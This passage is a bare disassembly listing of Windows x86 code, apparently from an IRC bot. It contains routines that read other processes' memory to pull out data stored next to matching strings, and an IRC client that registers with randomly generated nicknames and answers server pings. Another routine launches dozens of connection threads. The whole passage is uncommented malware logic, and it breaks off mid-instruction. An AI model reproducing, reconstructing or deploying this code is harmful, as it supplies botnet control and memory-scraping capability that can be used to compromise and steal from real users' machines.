mov esi, ds:dword_427154 push 8 call esi ; GetProcessHeap mov edi, ds:dword_427150 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_427158 ; VirtualQueryEx test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi ; Str2 push offset word_4D3830 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax ; Str2 push offset word_4D4030 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_42711C ; FileTimeToLocalFileTime test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_427118 ; FileTimeToSystemTime test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov Src, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] call ds:dword_427070 ; CloseHandle pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_42708C ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_427160 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, ds:dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_427158 ; VirtualQueryEx test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_427150 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_42715C ; ReadProcessMemory test eax, eax jz short loc_41788C push offset word_4D3830 ; Str2 push esi ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset word_4D4030 ; Str2 push eax ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] call ds:dword_427070 ; CloseHandle loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A4C, ebx mov Src, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_427070 ; CloseHandle push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A48 push esi mov esi, ds:dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_427150 ; RtlAllocateHeap mov ecx, dword_4D4A48 mov [ebp+var_4], eax add ecx, ecx push ecx ; Size push Src ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A54 push eax call dword_4D4834 push [ebp+var_4] mov edi, offset byte_4D4840 push offset word_4D3830 push offset word_4D4030 push [ebp+arg_0] push offset asc_4386C4 ; "-" push 200h ; Count push edi ; Dest call __snprintf add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h Dst = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A48 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_427154 ; GetProcessHeap push eax call ds:dword_427150 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+Dst], eax mov ebx, offset word_4D4030 mov edi, 200h mov esi, offset byte_4D3630 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A48 add eax, eax push eax ; Size push Src ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4834 mov eax, dword_4D4A48 and [ebp+var_10], 0 mov ecx, [ebp+Dst] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+Dst] push offset word_4D3830 push ebx push [ebp+arg_0] push offset asc_4386C4 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset word_4D3830 push ebx push [ebp+arg_0] push offset asc_438714 ; "-" push edi ; Count push esi ; Dest call __snprintf add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+Dst] push 0 call ds:dword_427154 ; GetProcessHeap push eax call ds:dword_42714C ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 ; inet_addr cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA6C ; closesocket loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_417B2F(char *Dest) sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... Dest = dword ptr 4 push esi push edi mov edi, [esp+8+Dest] push offset asc_42A080 ; "\n" push edi ; Dest call _strcat pop ecx mov esi, offset dword_4D4A5C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi ; Str call _strlen pop ecx push eax push edi push dword ptr [esi] call dword_4CBA24 ; send loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset byte_4DB17C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417B76(char *Str,int) sub_417B76 proc near ; CODE XREF: sub_417C61+155p Dst = byte ptr -420h Dest = byte ptr -220h Str2 = dword ptr -20h var_1C = dword ptr -1Ch Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDC0 ; " " push edi push esi ; Delim push [ebp+Str] ; Str call _strtok pop ecx mov [ebp+Str2], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi ; Delim push 0 ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+Str2], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+Str2] ; Str2 push offset aPing ; "PING" call _strcmp pop ecx pop ecx test eax, eax push esi ; Str2 jnz short loc_417BDE push offset aPongS_0 ; "PONG %s\n" jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call _strcmp pop ecx test eax, eax pop ecx jz short loc_417BFF push esi ; Str2 push offset a432 ; "432" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_417E84 add esp, 10h lea eax, [ebp+Dst] push eax push offset aNickS_1 ; "NICK %s\n" loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_4] call dword_4CBA24 ; send loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o Dest = byte ptr -4008h var_3008 = byte ptr -3008h Dst = byte ptr -2008h Str = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call __alloca_probe push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A64[esi] mov dword_4D4A58[esi], edi push dword_4D4C64[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A5C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset lea eax, [ebp+Dst] push eax ; Dest call sub_417E84 lea eax, [ebp+Dest] push eax ; Dest call sub_417E84 lea eax, [ebp+var_3008] push eax ; Dest call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Str] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push dword_4D4A5C[esi] call dword_4CBA24 ; send push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Str] push ebx push edi push eax push dword_4D4A5C[esi] call dword_4CB9EC ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+Str] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+Dst], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A5C[esi] ; int mov [ebp+eax+Dst], bl lea eax, [ebp+Dst] push eax ; Str call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A58[esi], ebx mov esi, dword_4D4A5C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA6C ; closesocket loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417E06(char *Source,int,int) sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A58 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB178 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+Source] ; Source imul esi, 210h lea eax, dword_4D4A64[esi] push eax ; Dest call _strcpy mov eax, [ebp+arg_4] pop ecx mov dword_4D4C64[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A58[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx call ds:dword_427084 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417E84(char *Dest) sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... Source = byte ptr -40h var_2D = byte ptr -2Dh Dst = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h Count = dword ptr -0Ch var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch call _rand mov [ebp+Count], eax fild [ebp+Count] fmul ds:dbl_4276D8 call __ftol cmp eax, 1 jnz short loc_417ECE call _rand call _rand push 66h cdq pop ecx idiv ecx push off_438A68[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call _rand call _rand cdq mov ecx, 0C0h idiv ecx push off_438768[edx*4] ; Source loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+Dst] push eax ; Dest call _strcpy pop ecx lea eax, [ebp+Dst] pop ecx push ebx push esi push edi push eax ; Str call _strlen pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+Count], eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D0 call __ftol mov ebx, eax call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4276C8 call __ftol cmp esi, 2 mov edi, offset a__1 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276C0 call __ftol push off_438A68[eax*4] ; Source lea eax, [ebp+Source] push eax ; Dest call _strcpy movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; Val push edi ; Str call _strchr add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+Source] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_418001 call _rand mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276C8 call __ftol cmp eax, 1 jnz short loc_418001 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul ds:dbl_4276C8 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+Count] ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dst] push eax ; Dest call _strncat add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+Dst] push eax ; Str call _strlen mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+Dst] push eax ; C mov [ebp+var_4], esi call _isdigit pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+Count], eax movsx eax, byte ptr [ebx-1] push eax ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz loc_418173 call _rand mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276C8 call __ftol cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4276C8 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B8 call __ftol mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+Count], ebx call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B0 call __ftol cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi ; Str call _strlen and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4276C8 call __ftol mov al, byte ptr a__1[eax] ; "-|`_\\{[]}" mov [ebp+esi+Dst], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B8 call __ftol mov cl, 41h sub cl, al mov [ebp+esi+Dst], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+Count], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call _rand push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call __ftol test eax, eax jnz short loc_4181D5 call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276A8 call __ftol mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276B8 call __ftol mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+Dst], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+Count], 2 jge short loc_41827C call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4276C8 call __ftol cmp eax, 1 jnz short loc_41827C call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276A8 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+Dst], cl call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4276A0 call __ftol cmp eax, 1 jnz short loc_41827C cmp [ebp+Count], eax jge short loc_41827C call _rand mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_427698 call __ftol mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+Dst] push 14h ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy mov eax, [ebp+Dest] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418295(int,int,void *Buf2,size_t Size) sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Buf2 = dword ptr 10h Size = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+Size] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+Size] ; Size mov eax, [ebp+arg_0] add eax, esi push [ebp+Buf2] ; Buf2 push eax ; Buf1 call _memcmp add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: .text:0040DFD7p ; .text:0040E0C0p var_2010 = dword ptr -2010h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call __alloca_probe mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA14 ; inet_addr push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA54 ; socket mov esi, eax or edi, 